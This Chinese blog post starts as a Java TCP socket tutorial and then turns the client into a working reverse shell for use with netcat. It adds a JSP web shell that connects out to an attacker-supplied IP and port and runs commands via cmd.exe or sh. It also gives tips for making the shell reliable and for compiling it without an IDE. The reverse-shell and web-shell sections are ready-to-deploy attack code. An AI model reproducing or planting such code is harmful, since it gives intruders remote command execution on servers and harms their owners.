Java 网络编程

2020-10-31  本文已影响0人  CSeroad

前言

学了点java的网络编程,看看能干点啥。

TCP通信

对于服务端server

对于客户端client

客户端代码 TcpClient.java

import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;

/**
 * @author cseroad
 */
public class TcpTest {
    public void client() throws IOException {
        //1.创建客户端
        Socket socket = new Socket("127.0.0.1",9090);
        //2. 使用socket对象的getoutStream()获取网络字节输出流
        OutputStream outputStream = socket.getOutputStream();
        //3. 输出流对象的write方法,给服务端发送数据
        outputStream.write("hello".getBytes("UTF-8"));
        //4. 关闭资源
        outputStream.close();
        socket.close();
    }
}

server端代码 TcpServer.java


import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;

/**
 * @author cseroad
 */
public class TcpTest {
    
    public  void server() throws IOException {
        // 1. 创建服务器端的ServerSocket
        ServerSocket serverSocket = new ServerSocket(9090);
        // 2. 调用accept()表示接收来自于客户端的socket
        Socket accept = serverSocket.accept();
        //3.获取输入流
        InputStream inputStream = accept.getInputStream();
        //4. 将接收到的byte字节读取到字节数组缓冲区
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byte[] bytes = new byte[5];
        int length;
        while ((length = inputStream.read(bytes))!= -1){
            byteArrayOutputStream.write(bytes,0,length);
        }
        //4. 字节数组缓冲区再转化为字符串
        System.out.println(byteArrayOutputStream.toString());
        // 5. 从里到外关闭资源
        byteArrayOutputStream.close();
        inputStream.close();
        accept.close();
        serverSocket.close();
    }
}

注意:
创建new ByteArrayOutputStream()字节数组缓冲区,将读取的数据写入该缓冲区,再转化为String字符串并输出。

以上代码全部的异常都外抛了,我们进一步优化该代码并使用Scanner类作为用户自定义输入的内容进行发送。
TcpClient.java


import org.junit.Test;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Scanner;

/**
 * @author cseroad
 */
public class TcpTest {
    public static void main(String[] args) {
        TcpTest tcpTest = new TcpTest();
        tcpTest.client();
    }
    @Test
    public void client() {
        Socket socket = null;
        OutputStream outputStream = null;
        try {
            //1.创建客户端
            socket = new Socket("127.0.0.1",9090);
            //2. 使用socket对象的getoutStream()获取网络字节输出流
            outputStream = socket.getOutputStream();
            //3. 创建scanner类获取用户的自定义输入,给服务端发送数据
            Scanner message = new Scanner(System.in);
            while (message.hasNext()){
                String words = message.nextLine();
                outputStream.write(words.getBytes("UTF-8"));
                System.out.println("发送消息: " + words);
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            //4. 关闭资源
            if(outputStream != null){
                try {
                    outputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (socket != null){
                try {
                    socket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }


    }

}

TcpServer.java代码为


import org.junit.Test;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;

/**
 * @author cseroad
 */
public class ServerTest {
    @Test
    public  void server() {
        ServerSocket serverSocket = null;
        Socket accept = null;
        InputStream inputStream = null;
        ByteArrayOutputStream byteArrayOutputStream = null;
        try {
            // 1. 创建服务器端的ServerSocket
            serverSocket = new ServerSocket(9090);
            // 2. 调用accept()表示接收来自于客户端的socket
            accept = serverSocket.accept();
            //3.获取输入流
            inputStream = accept.getInputStream();
            //4. 将接收到的byte字节读取到字节数组缓冲区
            byteArrayOutputStream = new ByteArrayOutputStream();
           
            while (true){
                byte[] bytes = new byte[1024];
                int length = inputStream.read(bytes);
                byteArrayOutputStream.write(bytes,0,length);
                System.out.println("接受消息:"+byteArrayOutputStream.toString());
            }
            //4. 字节数组缓冲区再转化为字符串
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if(byteArrayOutputStream != null){
                try {
                    byteArrayOutputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (inputStream != null){
                try {
                    inputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (accept != null){
                try {
                    accept.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (serverSocket != null){
                try {
                    serverSocket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }

        }

    }
}

效果如下:

image.png image.png

还可以再添加exit退出的指令。
TcpClient.java

package com.atguigu.test;

import org.junit.Test;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Scanner;

/**
 * @author cseroad
 */
public class TcpTest {
    public static void main(String[] args) {
        TcpTest tcpTest = new TcpTest();
        tcpTest.client();
    }
    @Test
    public void client() {
        Socket socket = null;
        OutputStream outputStream = null;
        try {
            //1.创建客户端
            socket = new Socket("127.0.0.1",9090);
            //2. 使用socket对象的getoutStream()获取网络字节输出流
            outputStream = socket.getOutputStream();
            //3. 创建scanner类获取用户的自定义输入,给服务端发送数据
            System.out.println("请输入指令:");
            Scanner message = new Scanner(System.in);
            while (message.hasNext()){
                String words = message.nextLine();
                if("exit".equals(words)) {
                    break;
                }
                outputStream.write(words.getBytes("UTF-8"));
                System.out.println("发送消息: " + words);
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            //4. 关闭资源
            if(outputStream != null){
                try {
                    outputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (socket != null){
                try {
                    socket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }


    }

}

实现java反弹cmd

修改代码为反弹shell,这里使用经典的runtime类。用来实现client客户端和nc连用。
TcpClient.java

package javaweb.com.bili;


import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class TcpClient {
    public static void main(String[] args) throws Exception {
        Socket client = new Socket("127.0.0.1", 9900);
        InputStream getinputStream = client.getInputStream();
        BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
        OutputStream outputStream = client.getOutputStream();
        BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
        bufOut.write(client.getInetAddress().getLocalHost()+"已成功连接");
        bufOut.write("\r\n");
        while (true) {
            bufOut.write("shell:");
            bufOut.newLine();
            bufOut.flush();
            String line = input.readLine();
            if("exit".equals(line)) {
                break;
            }
            System.out.println("接收命令:" + line);
            CmdExec(line,outputStream);
        }

    }
    
    public static void CmdExec(String cmd,OutputStream outputStream) {
        try {
            Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);
            p.getOutputStream().close();//关闭输出流
            InputStream input = p.getInputStream();
            InputStreamReader ins = new InputStreamReader(input,"GBK");
            BufferedReader br = new BufferedReader(ins);
            String lines;
            String cmdresult;
            
            while((lines = br.readLine())!=null) {
                cmdresult = lines+"\r\n";
                outputStream.write(cmdresult.getBytes("GBK"));
                
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
    }

}
image.png

某些时候无法执行echo、dir等语句,需要添加cmd.exe /c

Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);

测试还存在一个问题,命令执行powershell的时候,程序没有正常关闭,处于挂起状态。
添加该语句即可。

p.getOutputStream().close();//关闭输出流

没有IDE的情况下,javac先编译该TcpCilent.java文件,再java命令执行该脚本。
该java文件需要先删除package包名不会出现"找不到主函数",以utf8编码格式编译不会出现编译异常。

javac -encoding utf8  TcpClient.java
java TcpClient

实现jsp反弹cmd

编写了java反弹cmd,稍作修改就可以。

<%@ page language="java" contentType="text/html;charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.net.Socket"%>

<pre>

<%
    String  ip = request.getParameter("ip");
    String port = request.getParameter("port");
    out.println(System.getProperty("os.name").toLowerCase());
    if(ip != null && port != null){
        try {
            int ports = Integer.parseInt(port);
            Socket client = new Socket(ip, ports);
            InputStream getinputStream = client.getInputStream();
            BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
            OutputStream outputStream = client.getOutputStream();
            BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
            bufOut.write(client.getInetAddress().getLocalHost() + "已成功连接");
            bufOut.write("\r\n");
            
            while (true) {
                bufOut.write("shell:");
                bufOut.newLine();
                bufOut.flush();
                String cmd = input.readLine();
                if ("exit".equals(cmd)) {
                    break;
                }
                //out.println("接收命令:" + cmd);
                Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
                //windows
                //Process p = Runtime.getRuntime().exec(new String[]{"sh","-c",cmd});
                //linux
                InputStream inputer = p.getInputStream();
                InputStreamReader ins = new InputStreamReader(inputer, "UTF-8");
                BufferedReader br = new BufferedReader(ins);
                String lines;
                String cmdresult;
                while ((lines = br.readLine()) != null) {
                    cmdresult = lines + "\r\n";
                    outputStream.write(cmdresult.getBytes("UTF-8"));
                }
                p.getOutputStream().close();
            }
        }catch (IOException e) {
            e.printStackTrace();
        }
    }
    else{
        out.println("no ip and port Parameter !");
    }
%>
</pre>

注意windows和linux传入runtime的参数值不一样,所以最好先判断是windows系统还是linux系统。
效果如下

image.png

再相应传入ip和端口

image.png

总结

代码还是不够规范,还需要改进。

参考资料

https://blog.csdn.net/wzy_1988/article/details/17131381
https://wiki.silic.wiki/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB:jsp%E5%AE%9E%E7%8E%B0socket%E5%8F%8D%E5%BC%B9shell
https://www.runoob.com/java/net-serversocket-socket.html

上一篇下一篇

猜你喜欢

热点阅读